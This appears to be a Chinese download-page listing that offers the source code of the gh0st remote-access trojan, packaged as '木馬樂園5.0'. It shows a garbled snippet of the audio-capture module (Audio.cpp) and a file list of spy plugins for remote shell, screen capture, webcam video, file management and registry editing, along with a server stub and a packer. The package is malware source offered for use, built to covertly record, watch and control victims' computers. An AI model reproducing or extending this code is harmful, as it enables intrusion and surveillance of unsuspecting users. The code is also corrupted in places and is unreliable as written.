資源簡介
gh0st遠控源碼
代碼片段和文件信息
//?Audio.cpp:?implementation?of?the?CAudio?class.
//
//////////////////////////////////////////////////////////////////////
#include?“Audio.h“
//////////////////////////////////////////////////////////////////////
//?Construction/Destruction
//////////////////////////////////////////////////////////////////////
CAudio::~CAudio()
{
if?(m_bIsWaveInUsed)
{
waveInStop(m_hWaveIn);
waveInReset(m_hWaveIn);
for?(int?i?=?0;?i?2;?i++)
waveInUnprepareHeader(m_hWaveIn?m_lpInAudioHdr[i]?sizeof(WAVEHDR));
waveInClose(m_hWaveIn);
TerminateThread(m_hThreadCallBack?-1);
}
if?(m_bIsWaveOutUsed)
{
waveOutReset(m_hWaveOut);
for?(int?i?=?0;?i?2;?i++)
waveOutUnprepareHeader(m_hWaveOut?m_lpInAudioHdr[i]?sizeof(WAVEHDR));
waveOutClose(m_hWaveOut);
}
for?(int?i?=?0;?i?2;?i++)
{
delete?[]?m_lpInAudioData[i];
delete?m_lpInAudioHdr[i];
delete?[]?m_lpOutAudioData[i];
delete?m_lpOutAudioHdr[i];
}
CloseHandle(m_hEventWaveIn);
CloseHandle(m_hStartRecord);
CloseHandle(m_hThreadCallBack);
}
LPBYTE?CAudio::getRecordBuffer(LPDWORD?lpdwBytes)
{
//?Not?open?WaveIn?yet?so?open?it...
if?(!m_bIsWaveInUsed?&&?!InitializeWaveIn())
return?NULL;
if?(lpdwBytes?==?NULL)
return?NULL;
SetEvent(m_hStartRecord);
WaitForSingleobject(m_hEventWaveIn?INFINITE);
*lpdwBytes?=?m_nBufferLength;
return m_lpInAudioData[m_nWaveInIndex];
}
bool?CAudio::playBuffer(LPBYTE?lpWaveBuffer?DWORD?dwBytes)
{
if?(!m_bIsWaveOutUsed?&&?!InitializeWaveOut())
return?NULL;
for?(int?i?=?0;?i? {
memcpy(m_lpOutAudioData[m_nWaveOutIndex]?lpWaveBuffer?m_nBufferLength);
waveOutWrite(m_hWaveOut?m_lpOutAudioHdr[m_nWaveOutIndex]?sizeof(WAVEHDR));
m_nWaveOutIndex?=?1?-?m_nWaveOutIndex;
}
return?true;
}
CAudio::CAudio()
{
m_hEventWaveIn =?CreateEvent(NULL?false?false?NULL);
m_hStartRecord =?CreateEvent(NULL?false?false?NULL);
m_hThreadCallBack =?NULL;
m_nWaveInIndex =?0;
m_nWaveOutIndex =?0;
m_nBufferLength =?1000;?//?m_GSMWavefmt.wfx.nSamplesPerSec?/?8(bit)
m_bIsWaveInUsed =?false;
m_bIsWaveOutUsed =?false;
for?(int?i?=?0;?i?2;?i++)
{
m_lpInAudioData[i]?=?new?BYTE[m_nBufferLength];
m_lpInAudioHdr[i]?=?new?WAVEHDR;
m_lpOutAudioData[i]?=?new?BYTE[m_nBufferLength];
m_lpOutAudioHdr[i]?=?new?WAVEHDR;
}
memset(&m_GSMWavefmt?0?sizeof(GSM610WAVEFORMAT));
m_GSMWavefmt.wfx.wFormatTag?=?WAVE_FORMAT_GSM610;?//?ACM?will?auto?convert?wave?format
m_GSMWavefmt.wfx.nChannels?=?1;
m_GSMWavefmt.wfx.nSamplesPerSec?=?8000;
m_GSMWavefmt.wfx.nAvgBytesPerSec?=?1625;
m_GSMWavefmt.wfx.nBlockAlign?=?65;
m_GSMWavefmt.wfx.wBitsPerSample?=?0;
m_GSMWavefmt.wfx.cbSize?=?2;
m_GSMWavefmt.wSamplesPerBlock?=?320;
}
bool?CAudio::InitializeWaveIn()
{
if?(!waveInGetNumDevs())
return?false;
MMRESULT mmResult;
DWORD dwThreadID?=?0;
m_hThreadCallBack?=?CreateThread(NULL?0
?屬性????????????大小?????日期????時間???名稱
-----------?---------??----------?-----??----
?????文件????5660084??2015-12-28?20:56??木馬樂園5.0\Bin\Bin.rar
?????文件????3809280??2015-12-28?23:58??木馬樂園5.0\Bin\Duat.exe
?????文件????????506??2015-12-28?23:58??木馬樂園5.0\Bin\Duat.ini
?????文件??????57344??2015-12-28?20:40??木馬樂園5.0\Bin\Plugins\Dll\Avdio.dll
?????文件??????61440??2015-12-28?20:40??木馬樂園5.0\Bin\Plugins\Dll\FileManage.dll
?????文件??????57344??2015-12-28?20:40??木馬樂園5.0\Bin\Plugins\Dll\Regedit.dll
?????文件??????57344??2015-12-28?20:40??木馬樂園5.0\Bin\Plugins\Dll\Remoteshell.dll
?????文件??????61440??2015-12-28?20:40??木馬樂園5.0\Bin\Plugins\Dll\Screenspy.dll
?????文件??????36864??2015-11-07?01:00??木馬樂園5.0\Bin\Plugins\Dll\ShllCodeDec.exe
?????文件??????61440??2015-12-28?20:40??木馬樂園5.0\Bin\Plugins\Dll\System.dll
?????文件?????296448??2015-10-16?00:27??木馬樂園5.0\Bin\Plugins\Dll\upx.exe
?????文件?????????20??2015-12-28?20:41??木馬樂園5.0\Bin\Plugins\Dll\upx壓縮.bat
?????文件?????148480??2015-12-28?20:40??木馬樂園5.0\Bin\Plugins\Dll\Video.dll
?????文件?????390144??2015-10-16?00:27??木馬樂園5.0\Bin\Plugins\mstsc.exe
?????文件?????655360??2004-08-17?20:00??木馬樂園5.0\Bin\Plugins\MSTSCAX.DLL
?????文件??????61440??2015-10-14?20:51??木馬樂園5.0\Bin\Plugins\Regedit.dll
?????文件?????215552??2010-08-09?14:56??木馬樂園5.0\Bin\Plugins\termsrv_t.dll
?????文件????9255767??2015-11-30?18:47??木馬樂園5.0\Bin\qqwry.dat
?????文件?????122880??2015-12-28?20:37??木馬樂園5.0\Bin\System\Server.dat
?????文件??????47418??2015-12-27?22:46??木馬樂園5.0\Bin\System\Server.rar
?????文件????????730??2015-11-07?01:44??木馬樂園5.0\Client.dsw
?????文件???????5195??2014-06-07?21:39??木馬樂園5.0\common\Audio.cpp
?????文件???????1280??2008-03-19?00:31??木馬樂園5.0\common\Audio.h
?????文件???????1810??2008-03-25?01:09??木馬樂園5.0\common\CursorInfo.h
?????文件?????919876??2011-12-06?13:55??木馬樂園5.0\common\libxvidcore.lib
?????文件???????8716??2015-12-28?20:33??木馬樂園5.0\common\macros.h
?????文件???????3636??2008-03-26?03:07??木馬樂園5.0\common\VideoCodec.h
?????文件???????7810??2008-01-04?21:42??木馬樂園5.0\common\zlib\zconf.h
?????文件??????40900??2008-01-04?21:42??木馬樂園5.0\common\zlib\zlib.h
?????文件??????81534??2007-11-14?21:29??木馬樂園5.0\common\zlib\zlib.lib
............此處省略444個文件信息
評論
共有 條評論